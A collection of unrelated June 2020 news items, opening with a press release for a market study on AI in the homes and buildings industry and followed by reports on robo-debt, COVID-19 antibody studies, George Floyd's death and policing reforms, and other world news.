The study focuses on the impact of AI on the homes & buildings industry, defines the role of AI in home and building applications, and highlights the opportunities for stakeholders in the industry. The main purpose of the study is to analyse the current and future AI-based applications in the homes & buildings industry. The study performs a Growth Opportunity Assessment exercise by evaluating critical attributes to assess the Market Readiness and Future Industry Value of AI applications in the homes & buildings industry. The study also presents a high-level market overview and the investments trends for AI applications across industries. It additionally provides quantification of the value generated by AI for customers as well as estimated and forecast AI revenue in this industry. The study summarises key market findings, strategic imperatives, leading AI solution provider profiles, and top AI applications in the homes & buildings industry. Although the publisher recognises smart speakers as AI products, their revenue has not been included in the revenue forecast section as the definition of AI in homes and buildings requires a product or solution to recognise th energy consumption pattern and autonomously optimise building systems based on machine learning or deep learning algorithms for improved performance.







Research Highlights



The study discusses the top AI applications as well as the leading companies that offer these solutions and have performed well in 2019. It further highlights the companies to watch out for in the next few years based on their growth and innovation. The companies considered for the assessment include Siemens, Honeywell, Signify, Acuity Brands, Google, Amazon, EcoEnergy Insights, FogHorn, 75F, Xiaomi, BrainBox AI, BuildingIQ, Velux, Sense, Energy Curb, Google Nest, Smappee, Vattenfall, and PointGrab.





Key Issues Addressed What are the top 10 application areas in the homes & buildings industry that have the potential for innovation using AI?

What are the companies that offer cutting-edge AI-based solutions in the homes & buildings industry?

What are the global AI investment trends, AI index, and spend potential for AI applications by country and industry?

What are the immediate and long-term growth opportunities for stakeholders in the homes & buildings industry?

What are the challenges and strategic imperatives for implementing AI applications in the homes & buildings industry?

How much data is currently generated in the homes & buildings industry? How much value does AI generate for its customers? Key Topics Covered

1. Executive Summary Key Findings

Study Scope and Definition

Top AI Companies in the Homes & Buildings Industry - Commercial and Industrial Segments

Top AI Companies in the Homes & Buildings Industry - Residential Segment

Top AI Applications in the Homes & Buildings Industry

CEO's 360 Degree Perspective

Associated Research and Multimedia

Key Questions this Study will Answer 2. Market Overview - AI Across Industries Economic Impact of AI on Select Countries

AI Start-ups and Funding Raised in Different Sectors

Global Distribution of AI Start-ups

Active Participants in AI by Industry

AI Impact by Industry

Regions with the Highest Gains from AI 3. Dynamics of AI in the Homes & Buildings Industry Market Drivers

Drivers Explained

Market Restraints

Restraints Explained

AI-Timeline of Adoption

Top AI Applications in the Homes & Buildings Industry

AI Economy in the Homes & Buildings Industry

AI Revenue Forecast in the Homes & Buildings Industry

Revenue Forecast by Segment

Regional Outlook 4. Growth Opportunity Assessment for AI Participants in the H&B Industry Homes & Buildings Industry - AI Opportunity Assessment Framework

Homes & Buildings Industry - AI Application Areas

Mapping of Companies Offering AI Applications in the H&B Industry

Critical Challenges for AI Adoption in the Homes & Buildings Industry

Growth Opportunities for AI in the Homes & Buildings Industry

Strategic Imperatives for AI Participants in the Homes & Buildings Industry 5. Top AI Companies to Watch in the Homes & Buildings Industry Top AI Companies to Watch 6. Three Big Predictions



Companies Mentioned

75F

Acuity Brands

Amazon

BrainBox AI

BuildingIQ

EcoEnergy Insights

Energy Curb

FogHorn

Google

Google Nest

Honeywell

PointGrab

Sense

Siemens

Signify

Smappee

Vattenfall

Velux

Xiaomi For more information about this report visit https://www.researchandmarkets.com/r/5njj3w Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets

Laura Wood, Senior Manager

[email protected]



For E.S.T Office Hours Call +1-917-300-0470

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For GMT Office Hours Call +353-1-416-8900



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Fax (outside U.S.): +353-1-481-1716 View original content:http://www.prnewswire.com/news-releases/ai-in-the-homes--buildings-market-2020-2030-growth-opportunities-critical-challenges-strategic-imperatives-301071269.html SOURCE Research and Markets

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Welfare cheats. It's an emotive term often wheeled out by politicians seeking an easy headline. That was certainly the case in 2016 when the then Turnbull government announced its new fully automated system for clamping down on welfare overpayments. It sounded efficient and foolproof. While an annual 20,000 notifications had been sent out seeking refunds using a manual system involving compliance officers, the computerised version could generate 20,000 a week. Matching income data from the Australian Taxation Office with a welfare recipient's payments, anomalies could be rapidly identified and automatically targeted. Debt notices worth more than $4 million started flying out the door each day. With such an enormous escalation in those targeted for alleged overpayments during the previous six years, it took little time for the "robo-debt" system to attract widespread criticism. When Senate committees and the Commonwealth Ombudsman started looking under the hood, what they found was hardly complimentary. It was found to be poorly implemented with little consultation; concerns were raised over how the ATO income data was calculated; the mechanism for disputing a debt was extremely difficult to navigate; and the onus of proof had shifted to place the welfare recipient squarely in the position of having to prove their innocence.

Yet it took until November last year, facing two separate challenges from Victoria Legal Aid, for the government to finally concede that the system needed overhauling. An internal email from Government Services Minister Stuart Robert told staff previous debts would be reviewed but he claimed only a "small cohort" of people was affected. Last week, that facade was finally torn away, with the government agreeing to repay $721 million to 373,000 Australians who had been hit with debt notices based on flawed calculations. But sorting out the mess still has some way to go. Of the hundreds of thousands who are owed money, the government does not have full and current details for almost half. It will make payments to 190,000 from July and try to contact the remainder. It also faces a class action from Gordon Legal, which claims to have more than 11,000 people who have joined the case. It's looking like they have a strong case. The government has already conceded in the courts that the way it calculated many of the debt notices was unlawful, while Attorney-General Christian Porter has publicly admitted damages may have to be paid to the hundreds of thousands of people hit with debt notices based on those flawed calculations. An apology was not forthcoming, with Mr Porter saying he could not issue one for legal reasons. Loading
(TNS)  One of the most pressing questions public health officials are trying to answer about the coronavirus is how many people actually have been infected by it.Have a relatively significant portion of Californians been infected with the virus but survived without much problem?Or has the virus touched only a tiny sliver of California, suggesting the chances of serious illness are greater if you're infected?In April, controversial studies out of Stanford University and USC suggested the coronavirus has circulated much more widely than previously thought in Silicon Valley and Los Angeles County.Almost immediately, there have been questions from other epidemiologists around the country about whether those estimates were too high.To figure out how many people in L.A. County had evidence of past infection to the coronavirus, researchers aimed to test a representative sample of the county's 7.9 million adults to see if they had antibodies to the virus. The presence of antibodies indicates that the body has been infected with the coronavirus before, and that the body's immune system responded to it.The original study of 863 adults tested in L.A. County between April 10 and April 14 found that 4.1 percent tested positive for coronavirus antibodies. That's equivalent to about 322,000 L.A. County adults. When factoring in false positives and negatives and adjusting for demographics  because those tested were disproportionately more white and higher-income than the actual demographics of the county  scientists estimated that 4.65 percent of L.A. County residents tested positive for the antibodies.Then in May, the same researchers from USC and L.A. County repeated the study with different people at different sites.The new study's results were dramatically different: Only 2.1 percent tested positive for antibodies. This time, 1,014 adults were tested in the county between May 8 and 12.The results suggest that only about 165,000 L.A. County adults have antibodies to the coronavirus  an estimate nearly 50 percent lower than the first study's results.What to make of the changes is the subject of much debate.The new results also may mean that the coronavirus might be deadlier than previously suggested by the first survey in L.A. County, said Neeraj Sood, the L.A. County study's leader and a professor at USC's Sol Price School of Public Policy.Sood said the average of the two results would lead him to guess that roughly 3 percent of L.A. County adults, or 236,000 people, have been infected with the coronavirus.The findings underscore that many more studies are needed before we better understand how widely the disease has spread.Scientists in L.A. County and at USC said there were a number of reasons for the differing results. The latest study made an effort to include Mandarin and Spanish speakers, which was not done in the prior survey, and there was a concerted effort to test more blacks, Latinos and Asian Americans. Different testing sites were also chosen.Random chance could also be a reason. "If you toss a coin 10 times, you don't always get five heads. Sometimes you might get one head and sometimes you might get all 10 as a head," said Sood, who is also an author of the Stanford report, at a recent press conference."Some of this random variation and outcomes could also explain differences in testing positive," Sood said.There's another reason, although it is highly speculative: People are seeing antibodies to the coronavirus decline in the months after recovering from infection."Antibody levels may have waned amongst persons who had been infected early in the pandemic prior to the safer-at-home order," said Barbara Ferrer, director of public health in L.A. County. The order was implemented March 19."I want to emphasize that this is completely speculative at this time. We haven't fully investigated this issue, but this is something we will look at," Sood said. "This is right now just a potential explanation. It doesn't mean that we think this is a likely explanation."While lab tests can detect antibody levels at lower amounts, the tests the scientists used for the study detect a specific amount of antibodies only above a certain arbitrary threshold, Sood said in an interview.Ferrer said it'll be important to do more surveys with more people in the coming months, and also test other populations not represented in the survey, like those experiencing homelessness and living without shelter or those living in jails and nursing homes."The survey may also not have captured the experiences of those who live in extreme poverty. So plans are underway to do special studies for high-risk populations," Ferrer said. Children will also be tested in a later survey.It's also possible the first L.A. County study was simply problematic. The first studies of antibody prevalence in L.A. and Santa Clara counties came under criticism by other epidemiologists, who thought it was an overestimate.The simplest answer is that the first L.A. County study had too many false positives, said Dr. George Rutherford, epidemiologist and infectious-diseases expert at UC San Francisco. " I suspect what was really going on was ... they overestimated to start with and now they're coming out with probably a closer estimate."Rutherford said he thought losing antibodies to the coronavirus is the least likely explanation for the difference in results between the two studies.When a disease is quite rare in the general population, there's a well-known risk that a study will find too many false positives, Rutherford said.To deal with that risk, you don't release the first study's results immediately; you run a second test using a different technique on the first set of lab specimens, Rutherford said. The second test would try to identify the existence of the antibody that's related to a different part of the coronavirus."Then if you have both of those positive ... it's a lot closer to being a true positive than doing a single test," Rutherford said.Rutherford said across California, he suspects that 1 percent of residents have been infected with the coronavirus at some point. It could be higher in Los Angeles County, but Rutherford said he thought even a 2 percent prevalence rate for L.A. County may be slightly high.Rutherford also suspects the estimate that 21 percent of New York City residents have been infected with the coronavirus is too high, and he could see it perhaps being 10 percent.Rutherford is embarking on a study of 1,200 people who have previously tested negative for the coronavirus in six counties of the San Francisco Bay Area to determine the number of new cases per person over time. He said he suspects 1 percent to 1.5 percent of the people he's studying will become positive, and it could rise if the outbreak gets worse.Sood defended the methodology of the first study, which he said did account for the risk of finding too many false positives. Sood said the goal of the study was to generate the results quickly and within a budget, and as a result, the lab specimens were tested only once before they were made public.Sood also said the test his team used, sold by Minneapolis-based Premier Biotech, was informally evaluated by the U.S. Food and Drug Administration for accuracy and had good results: The FDA found a 0 percent false positive rate and a 7 percent false negative rate, Sood said. The FDA has allowed Premier Biotech's coronavirus antibody test to be used for research purposes but not yet for clinical purposes.Finally, Sood said his study's results are consistent with what he says is the U.S. Centers for Disease Control and Prevention's best guess of the case-fatality rate. Of everyone infected by the virus, an estimated 0.26 percent will die, according to calculations Sood did based on data on the CDC's website.That case-fatality rate matches what actually happened in L.A. County by April 24, when a cumulative 850 deaths had been recorded, and Sood's estimate of 324,000 having been infected three weeks prior to that date.It can take roughly three weeks from exposure to the virus to die from COVID-19, according to CDC estimates.There remains uncertainty over how deadly the coronavirus is for those who are infected by it. Other experts have said they suspect that 1 percent of people who are infected with the virus will die, a rate four times as large as the figure Sood calculated based on CDC data.One thing is clear: The vast majority of L.A. County residents have not been infected and are susceptible to getting sick.It means L.A. County's stay-at-home order has been effective at curbing the spread of disease. But it also means L.A. County is nowhere near most of its population being immune to the virus, and the region will have to think of policies that can protect the population in the next two years or so before a vaccine might become widely available.If you take the average of the two study results, "that still means we probably have 97 percent of the people still susceptible," said Dr. Robert Kim-Farley, medical epidemiologist and infectious-diseases expert at the UCLA Fielding School of Public Health.
President Kais Saied on Friday reaffirmed Tunisia's neutrality in neighbouring Libya's conflict during a telephone call with his French counterpart, the presidency said.

"Tunisia, which is committed to its sovereignty as well as the sovereignty of Libya, will never be a rear base for any party" to the conflict, Saied told President Emmanuel Macron, his office said.

Libya's UN-recognised government, heavily backed by Turkey, on Friday announced it had taken the town of Tarhuna from the Libyan National Army strongman Khalifa Haftar.

On Thursday, a stormy session of Tunisia's parliament saw the speaker, Rached Ghannouchi, head of the Islamist-inspired Ennahdha party, accused of pursuing a parallel foreign policy that backed Turkey.

Libyan leaders in late May revealed a telephone conversation between Ghannouchi and the head of Libya's Government of National Accord, Fayez al-Sarraj, in which the former congratulated the latter on a recent military success.

Ghannouchi pledged at the end of the parliamentary session to review his positions so to avoid any duality over Tunisia's foreign policy, which is officially a presidential domain.

The French presidency said Saied and Macron also discussed policy responses to the coronavirus pandemic.

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SARASOTA, Fla.  A video that surfaced Monday shows a Sarasota policeman kneeling on a mans back and neck while he was arrested in May. It prompted Sarasota Police Chief Bernadette DiPino, who 48 hours earlier condemned the tactic, to put the officer on administrative leave.

The Sarasota Police Department issued a statement Monday saying it was tagged in a social media post showing a portion of a video of an arrest of Patrick Carroll, a black 27-year-old Sarasota man who was later charged with felony possession of ammunition by a convicted felon.

He was also charged with misdemeanor resisting arrest and domestic violence.

DiPino put the male officer, who has not yet been identified, on leave after viewing the videos.

Chief DiPino was disturbed to see an officer kneeling on the head and neck of an individual in the video, SPD said in an emailed statement. While it appears the officer eventually moves his leg to the individuals back, this tactic is not taught, used or advocated by our agency.

Warning: This video contains graphic content. Viewer discretion is advised.

Carroll, who was allegedly involved in a fight on Dixie Avenue with a woman, did not require medical attention and did not complain about injuries during the incident, the statement said.

An unidentified man who took cellphone video of the arrest, which shows Carroll lying handcuffed facedown on the ground, shouts at officers, You got your knee on my mans neck, man, on his neck, bro.

In this image from a Facebook video, an unidentified Sarasota police officer restrains Patrick Carroll, 27, on May 18, 2020, during an arrest in the 1800 block of 23rd Street.

The officer appears to adjust his position and move his knee onto Carrolls back, while two other male officers stood over them watching.

While the incident apparently did not cause harm to Carroll, it strikes an eerie resemblance to video of George Floyd, who was killed after Minneapolis policeman Derek Chauvin kneeled on his neck, leaving him unable to breathe, in a nearly 9-minute-long video.

The incident has sparked nationwide protests that have resulted in demonstrations in major cities. Police have responded by firing tear gas and non-lethal munitions to disperse the activists.

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In response to the incident, law enforcement agencies around the country have denounced the action of Chauvin and other Minneapolis officers who witnessed Floyds death.

DiPino wrote a message to the community and posted it on social media.

An excerpt from her letter said, The men and women of the Sarasota Police Department are not trained to use tactics Ive seen in the videos in Minneapolis. The actions of the officers in Minneapolis were inexcusable.

DiPino promised transparency to keep the community safe.

SPD submitted a redacted arrest report to the Herald-Tribune on Monday night.

According to the report, which was also posted on the police departments social media accounts, three officers responded to Dixie Avenue for a report of a battery.

A suspect, identified as Patrick Carroll, got into a fight with a female victim, whose identity has been withheld because of Marsys Law. She had swelling on her arms, face, and chest area, officers reported.

The victim told police that Carroll came to her home and said he would not leave because his children were there. She said Carroll told her to shut up or he was going to hit her in the mouth. A verbal argument ensued and she said Carroll grabbed her hair, the report stated.

The victim said she grabbed Carrolls hair to free herself and he began to swing her. She used her arms to block him. She said Carroll threw her to the ground and left. She called 911.

Carroll was found in the 1800 block of 23rd Street in Sarasota. He was wearing a light blue backpack and, at first, was cooperative with the police.

Carroll said he went to the victims house to pick up some clothes. He found some of his clothes strewn on the lawn. He said she began yelling and cursing at him and threatened to call the police, so he packed a few things and left.

Carroll denied striking the woman, according to the report.

Officers found enough evidence to arrest Carroll for battery. He began to yell at officers asking why he was placed into handcuffs.

Carroll allegedly told his cousin to grab his blue bag before the police got it.

When an officer tried to put him into the patrol car he turned his body and yelled at them. He dropped his body weight to avoid being put into the car, police said. They took him to the ground with minimal force, the report said.

The report did not mention how police restrained Carroll.

A search of Carrolls body found a baggie of marijuana; his backpack contained a box of change and four .22-caliber bullets, police said. A criminal search found that he had one felony conviction.

The victim declined domestic violence services and the Florida Department of Children and Families was notified because the alleged act occurred in front of children.

Carroll was placed in a patrol car and taken to the Sarasota County jail without incident. He paid $37,500 bail  $30,000 on a count of misdemeanor battery  and was released May 19.

SPD said it did not receive any complaints from citizens regarding the video but is taking this incident seriously.

Follow Carlos R. Munoz on Twitter: @ReadCarlos

This article originally appeared on Sarasota Herald-Tribune: Florida cop put on leave after pinning down black mans neck
BRUSSELS/FRANKFURT/PARIS (dpa-AFX) - French stocks rallied on Friday after the European Central Bank increased its Pandemic Emergency Purchase program by a further 600 billion euros ($676 billion) to support funding conditions in the real economy, especially for businesses and households. Markets were expecting a 500 billion euros increase. The benchmark CAC 40 jumped 103 points, or 2.1 percent, to 5,115 after closing down 0.2 percent the previous day. Banks led the surge, with BNP Paribas, Credit Agricole and Societe Generale climbing 5-7 percent. Trade-sensitive automakers were also moving higher. Renault surged 7.8 percent and Peugeot gained 6 percent. Oil & gas company Total SA gained 3.2 percent after reports that OPEC+ leaders Russia and Saudi Arabia have clinched a tentative deal to extend record production curbs for another month until the end of July. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
A Co Down man has tied the knot with his Argentinian-born fiancee in one of the first weddings to take place in Northern Ireland since the start of lockdown.

Michael McCaw, 36, from Holywood, Co Down married Lucrecia Landeta Garcia, also 36, on the steps of the east wing of City Hall with just six people present.

The couple were congratulated with clapping and cheers from their best man and bridesmaid instead of hugs as social distancing was observed.

Mr McCaw, a magazine editor, proposed to his girlfriend, who works as a banker, last Christmas Eve.

They had been due to wed on Sunday with guests set to fly in from across the world.

But instead, they became the second couple to wed at Belfast City Hall since lockdown with just six people present.

Michael McCaw and Lucrecia Landeta Garcia, with their witnesses Norman Ross and Ruth McNaughton (Brian Lawless/PA)

The six gathered included Mr McCaws best man Norman Ross and Ms Landeta Garcias bridesmaid Ruth McNaughton, as well as their photographer and the registrar.

We were due to have 130 at our wedding, maybe 70% from Argentina, quite a lot of people from London where I used to live and we have family in France, he told the PA news agency.

Were at the age where we have a lot of friends getting married, many of them have pushed their dates to later in the year or next year, but with the uncertainty we just wanted to crack on.

His new wife added: Its just what we can have now.

Michael and Lucrecia during their wedding ceremony (Brian Lawless/PA)

He agreed: It was a matter of just doing what we could. This has been, so far, a really enjoyable day, but also for me, thinking about this this morning  compared against a different wedding  Ive never had a wedding before, so for me this feels good.

Mr McCaw said his grandmother died a few weeks ago in the Covid wing of Antrim Area Hospital, and said he thinks she would have appreciated their wedding going ahead.

The couple are set to have a blessing on Sunday when many who had been due to attend their wedding will join them virtually.

So this wedding part one, wedding part two is on Sunday as per the original date. Weve got everyone dialling in from Argentina, Australia, Japan, France, England via Zoom, he said.

Well have a blessing, a few drinks, a bit of a dance. I cant wait for that one.
(Newser)  Invoking the name of a black man killed by white police officers, who's become a symbol of police brutality and racial injustice, in celebrating an economic report didn't go over well with Joe Biden. President Trump had cited George Floyd earlier in the day Friday at the White House, saying "hopefully, George is looking down right now" and "this is a great day for him." In a campaign speech in Delaware, the BBC reports, Biden noted that Floyd's last words were, "I can't breathe, I can't breathe," which the former vice president said echoed around the world. "For the president to try to put any other words in the mouth of George Floyd I frankly think is despicable," Biden said.

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The report Trump was talking about showed a decline in unemployment, which Biden said he was "truly glad to see," per CNN. But the likely Democratic presidential nominee said he was disturbed by Trump's celebration. "So many Americans are still hurting," Biden said. Among black Americans, per Business Insider, unemployment is at its highest point in more than 10 years: 16.8%. Speaking at Delaware State University, a public historically black university in Dover, Biden said, "The president who takes no responsibility for costing millions and millions of Americans their jobs deserves no credit when a fraction of them return." (Read more Joe Biden 2020 stories.)
Metro Manila (CNN Philippines, June 5)  House Speaker Alan Peter Cayetano on Friday vowed to hold government officials accountable for lapses in the implementation of legislative measures for COVID-19 response.

In his speech during the last plenary session of Congress, Cayetano said that during the two-month break, "we will continue to discuss how to hold people accountable not for the sake of being accountable but to give people better services."

Congress adjourns session from June 6 to July 26, but House committee hearings will continue.

"Going into Bayanihan 2, we commit to the Filipino people and to the President, we will be supportive but we will follow the President's lead. We will demand accountability. We will be asking the departments, we will be talking to them, we will be having an accounting," said Cayetano, who himself had been hounded by allegations of corruption in the handling of a regional sporting event last year.

The Bayanihan to Heal As One Act gave President Rodrigo Duterte additional powers for the fight against the coronavirus disease, which has infected more than 20,000 people nationwide. The law, however, is in effect for only three months or until end of June.

Congress went on break without passing a new law called Bayanihan 2 or Bayanihan to Recover As One Act, which was supposed to extend Duterte's special powers until September.

READ: No presidential certification for Bayanihan 2 bill

In the enforcement of various measures under the Bayanihan Act, Cayetano said some problems were "understandable," but others were "inexcusable."

Learning from mistakes

The law authorized Duterte to provide an emergency subsidy of 5,000 to 8,000 each to 18 million low income families once a month for two months. Some 98 percent of the beneficiaries were able to receive the first tranche of cash aid, while the second wave has yet to be implemented.

READ: Cash aid tops government's 353-B expenses for COVID-19 response

Cayetano hit the Department of Social Welfare and Development for its failure to have every Filipino sign out a form so the government could determine if an individual is eligible for aid under the Social Amelioration Program, or other forms of assistance.

"The original sin of not coming up with a better list spiraled into many problems," Cayetano said, noting that local government units were able to distribute much of the aid meant for April in May.

Local officials complained that many beneficiaries were left out, while the government promised that they will be given aid in the second tranche.

"If you ask me, kung magkakaroon ng second wave and God forbid or kung magkakaroon ng ECQ (enhanced community quarantine) ulit sa ibang lugar at may ayuda, e per person na ang gawin natin para walang problema," Cayetano said, citing complaints that some big households did not get enough aid.

[Translation: If you ask me, if there will be a second wave, and God forbid if other areas are placed under ECQ and given aid, let us give it per person so there would be no problems.']

"That's an example of learning from our mistakes," he said.

Compensating healthcare workers

Cayetano also questioned the delay in the compensation of health workers infected with COVID-19.

Under the law, 100,000 should be given to healthcare workers with "severe" COVID-19 infection and 1 million to the families of those who died from the viral illness.

The Department of Health said it had to look for funding, but stressed it is now working on beating the June 9 deadline sent by Duterte for the medical frontliners' compensation. A total of 79 healthcare workers who fell severely ill will receive 100,000 each while the families of the 32 fatalities will get 1 million.

Duterte also threatened to sack officials responsible for the delay, while sparing Health Secretary Francisco Duque III from the blame.

Cayetano mentioned other issues in the government's COVID-19 response, including the overseas Filipino workers who were stuck at quarantine facilities in Metro Manila awaiting results of their COVID-19 tests. More than 24,000 stranded OFWs have been sent home following an ultimatum set by the President.

READ: OFWs returning via Metro Manila should be sent to their hometowns within 5 days
Imam Mohammed, muezzin of the Jaffali mosque in Saudi Arabia's Red Sea coastal city of Jeddah, announces the prayer call at the mosque which is closed due to a government decree

Saudi Arabia on Friday announced a renewed lockdown in the city of Jeddah, gateway to the annual Muslim pilgrimage to Mecca, to counter a new spike in coronavirus cases.

"After reviewing the epidemiological situation and the high occupancy rates of intensive care departments, it was decided to take strict health precautions in the city of Jeddah for two weeks," starting from Saturday, the health ministry said.

The measures include a curfew running from 3 pm to 6 am, a suspension of prayers in mosques and a stay-at-home order for public and private sector workers in the Red Sea city whose airport serves Mecca pilgrims.

After an easing of precautions in the kingdom in late May, the ministry said that strict measures could also soon return to Riyadh, which was "witnessing a continuous increase during the last days" of critical cases of the pandemic.

Saudi Arabia has declared almost 96,000 coronavirus infections and 642 deaths from the Covid-19 respiratory disease, the heaviest toll in the Gulf.

It has suspended the year-round "umrah" pilgrimage to Mecca and Medina over fears of the coronavirus pandemic spreading to Islam's holiest cities.

Authorities are yet to announce whether they will proceed with this year's hajj, scheduled for the end of July, but have urged Muslims to temporarily defer preparations for the annual pilgrimage.

Last year, some 2.5 million faithful travelled to Saudi Arabia from across the world to take part in the hajj, which all Muslims must perform at least once in their lives if able.
Shown are a makeshift memorial and mural near where George Floyd died while in Minneapolis police custody. One officer has been charged with second-degree murder and three other officers have been charged with aiding and abetting the murder. ( Jason Armond / Los Angeles Times)

If equal justice under the law had applied to George Floyd  justice equal to what the four cops now charged with his murder have received  he would never even have been arrested.

The tale of these arrests  one of a black man and that of four police officers  explains why there is justifiable rage on Americas streets.

On May 25, a store clerk in Minneapolis called the police because he suspected that Floyd had paid for a pack of cigarettes with a counterfeit $20 bill. But the store owner later said: Most of the times when patrons give us a counterfeit bill, they dont even know its fake. The call should have started an investigation; thats not what happened to Floyd.

Instead, within minutes of the police officers arrival, Floyd was facedown on the street, hands tied behind his back, with Derek Chauvin pressing his knee into his neck for nearly nine minutes, while two other cops restrained Floyd by pressing down on his back and legs, and the fourth officer kept distressed passersby from intervening. Floyd begged for his life, telling them that he couldnt breathe. Soon, his body went limp and silent. He was declared dead at the hospital.

Chauvin was caught killing a man on video, while several eyewitnesses pleaded with him to stop. Yet he appeared completely calm, bored even, one hand nonchalantly in his pocket as Floyd died beneath his knee.

So casually did the cops arrest, brutalize and kill Floyd for nothing. And just as easily did Chauvin and the other three officers leave the scene of their crime. No police cars swarmed the scene to arrest the four officers. Chauvin went home that night a free man, and for the next three nights as well. The other officers were not arrested until Wednesday.

Initially, Hennepin County Dist. Atty. Mike Freeman said that there was not enough evidence to arrest anyone, adding there is other evidence that does not support a criminal charge. Not enough evidence? What conceivable other evidence could there have been?

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There was, of course, no such benefit of the doubt given Floyd when he was arrested.

It took four days after the killing for the D.A. to arrest Chauvin and charge him with third-degree murder and manslaughter  and only after protests over George Floyds death began in nearly every major American city. The other three cops were not charged  even though any civilian who had helped a person charged with murder would probably have been quickly arrested.

It was not until Wednesday, after Minnesota Atty. Gen. Keith Ellison took over the case, that charges of felony aiding and abetting the murder were filed against the three officers. The charge against Chauvin was raised to second-degree murder.

Cases against cops are notoriously hard to win. The main witnesses for the prosecution are other cops and the blue wall of silence means that those officers can be uncooperative or worse  they may try to sabotage the prosecutors case. And, even when the evidence is overwhelming, jurors may still be hesitant to convict, because they sympathize with the officer.

These deeply embedded biases make holding cops accountable for their violence in criminal court extremely difficult.

Conversely, African American men such as George Floyd suffer from a presumption of guilt from the moment they encounter a police officer. Almost 50% of black men have been arrested by age 23, most often in connection with minor offenses that they dont commit more frequently than white men. This arrest gap ultimately results in black men having a one in three chance of going to prison, compared with one in six for Latino men, and one in 17 for white men.

As a white former federal judge and an African American former federal prosecutor, weve seen these dynamics play out in courtrooms. But only one of us can imagine being treated by the police the way they treated George Floyd.

So much has to change in the criminal system and the broader society to prevent more killings of civilians at the hands of police. But we can start with the arrest.

Police should be required to issue citations in minor offenses because arrests too often escalate into tragedy. And every officer-involved death should be reviewed by an independent agency, rather than local district attorneys who often have conflicts of interest because they work with the cops every day.

The cornerstone of equal justice is treating all citizens alike. If the criminal system treated African Americans at the arrest-decision point the way it treats police suspects  such as Chauvin and his three colleagues  George Floyd would still be alive.

Nancy Gertner is a professor at Harvard Law School and a retired federal judge. Paul Butler is a professor at Georgetown University Law Center and the author of Chokehold: Policing Black Men.
Adesh Gupta, a councillor from West Patel Nagar, took charge as the new Delhi BJP chief on Friday, replacing North East Delhi MP Manoj Tiwari.

Soon after taking over, Gupta hit out at the Delhi government for not testing enough people for Coronavirus disease (Covid-19) and indulging in a blame game instead.

He alleged, The Coronavirus test has been stopped in eight labs citing non-compliance. But what additional testing arrangements were made before the ban was imposed? The government should reveal its plan to increase testing in future. The situation in Delhi is constantly getting worse.

Gupta said that BJP will continue to raise these issues in the days to come. Meanwhile, an organisational reshuffle, which has been long overdue, is likely in the coming days. We will put in place a new team soon. It will be a mix of new and old people. Our aim is reach out to all the sections, especially those living in slums and unauthorised colonies. These are area where we need to strengthen our cadre, said Gupta.

Senior BJP leaders say that Gupta is an old hand and is aware of the key issues. Shyam Jaju, in-charge of Delhi BJP, said, It is a help to have someone who knows the cadre well. He has risen through the ranks. He knows the problem areas and will be able to fix those in no time. This is important to strengthen the cadre and start work for next election.
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Hyundai car offers up to Rs 1 lakh discount in India in June 2020



The automakers had registered zero domestic sales in April 2020, courtesy the nationwide lockdown. The sales did take off in May 2020 as the lockdown norms were eased. That the companies were offering some impressive benefits definitely helped in pulling more customers towards the dealerships. Among the automakers that provided attractive offers in May 2020 was Hyundai Motor India and it is doing the same in June 2020. Its models like Hyundai Elite i20, Hyundai Grand i10 Nios, Hyundai Grand i10, Hyundai Santro and Hyundai Elantra have offers up to Rs 1 lakh in June 2020. Hyundai Motor India has updated its entire line-up, including Santro, Grand i10, Grand i10 Nios, Elite i20, Aura, Venue, 2020 Verna, 2020 Creta and 2020 Elantra, to comply with the BS6 emission norms. Below are the offers being provided by Hyundai Motor India on its various models in June 2020. Read More...


Minneapolis Council Votes to Ban Police Chokeholds After George Floyd Death

The Minneapolis City Council has voted to approve an agreement that will no longer allow the citys police forces to use neck restraints and chokeholds.

The council, at a virtual meeting on June 5, voted on the deal, which came out of negotiations between elected officials and the Minnesota Department of Human Rights, which launched a civil rights investigation in response to the death of George Floyd in police custody.

Floyd died after a Minneapolis police officer restrained him with a knee to the neck and head area for nearly nine minutes.

His official cause of death, according to the full 20-page report made public on Wednesday by the Hennepin County Medical Examiners Office, was cardiopulmonary arrest while Floyd was being restrained by police.

The autopsy also cited complicating law enforcement subdual, restraint, and neck compression. The manner of death was listed as homicide.

The newly adopted agreement orders the City of Minneapolis to amend its police department policy manual in a way so as to prohibit the use of all neck restraints and choke holds for any reason.

It also imposes measures meant to increase transparency and accountability around police discipline cases and the use of crowd-control weapons, including chemical agents, rubber bullets, flash-bangs, batons, and marking rounds.

Minneapolis Mayor Jacob Frey said at the meeting that he hopes the agreement will prompt changes to policing methods elsewhere in the country.

This is a moment in time where we can totally change the way our police department operates, Frey said. We can quite literally lead the way in our nation enacting more police reform than any other city in the entire country and we cannot fail.

The agreement, which calls on the policy manual to be amended within 10 days, will require any officer, regardless of tenure or rank, to immediately report the use of any neck restraint or choke hold from the scene to their commander or their commanders superiors.

Also, any officer who sees another officer commit any unauthorized use of force, including any choke hold or neck restraint, must try to intervene verbally and even physically. Failure of an officer to intervene will subject him or her to discipline as severe as if they themselves had used the prohibited force.

The agreement also authorizes civilian experts to audit police body worn camera footage and file or amend complaints on behalf of the Minneapolis Civil Rights Department, with the aim of identifying discriminatory practices in policing and officer misconduct.

The agreement, which passed by 12 yes votes, still requires the approval of a judge.

The Associated Press contributed to this report.
Source: Xinhua| 2020-06-05 13:16:11|Editor: huaxia

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CHANGSHA, June 5 (Xinhua) -- The grueling 1,270-km travel of Li Gaoming, Party chief of a village in Luxi County, central China's Hunan Province, might change the entire life of a 15-year-old youngster.

After dropping out of school for a year, Liao Bin was fortunate enough to rejoin his school, thanks to the sustained efforts of Li and his colleagues.

"We traveled more than 1,200 km to visit him and his parents last year, persuading him to go back to school," Li said.

Liao left Maxikou village for the city of Shaoxing in east China's Zhejiang Province with his parents after quitting school. He later found a job at a local hair salon.

"He said he wanted to go back to school when we came to visit him, which made us more confident to win over his parents," Li said.

Li and his colleagues spent two days persuading them to let their son go back to school. "I told them to think about the youngster's future," Li said. "Education will change his life."

